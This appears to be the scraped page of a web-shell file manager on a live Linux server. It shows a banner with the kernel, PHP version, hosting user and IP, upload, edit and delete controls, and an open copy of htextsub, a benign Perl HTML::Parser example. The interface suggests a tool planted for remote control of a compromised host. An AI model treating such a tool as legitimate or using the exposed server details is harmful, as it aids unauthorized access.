[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
doc
/
perl-HTML-Parser
/
eg
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 hanchors
1,138 B
SET
[ EDIT ]
|
[ DEL ]
📄 hdump
541 B
SET
[ EDIT ]
|
[ DEL ]
📄 hform
1,846 B
SET
[ EDIT ]
|
[ DEL ]
📄 hlc
547 B
SET
[ EDIT ]
|
[ DEL ]
📄 hrefsub
2,782 B
SET
[ EDIT ]
|
[ DEL ]
📄 hstrip
1,714 B
SET
[ EDIT ]
|
[ DEL ]
📄 htext
548 B
SET
[ EDIT ]
|
[ DEL ]
📄 htextsub
788 B
SET
[ EDIT ]
|
[ DEL ]
📄 htitle
434 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: htextsub
#!/usr/bin/perl -w # Shows how to mangle all plain text in an HTML document, using an arbitrary # Perl expression. Plain text is all text not within a tag declaration, i.e. # not in <p ...>, but possibly between <p> and </p> use strict; my $code = shift || usage(); $code = 'sub edit_print { local $_ = shift; ' . $code . '; print }'; #print $code; eval $code; die $@ if $@; use HTML::Parser 3.05; my $p = HTML::Parser->new(unbroken_text => 1, default_h => [ sub { print @_; }, "text" ], text_h => [ \&edit_print, "text" ], ); my $file = shift || usage(); $p->parse_file($file) || die "Can't open file $file: $!\n"; sub usage { my $progname = $0; $progname =~ s,^.*/,,; die "Usage: $progname <perlexpr> <filename>\n"; }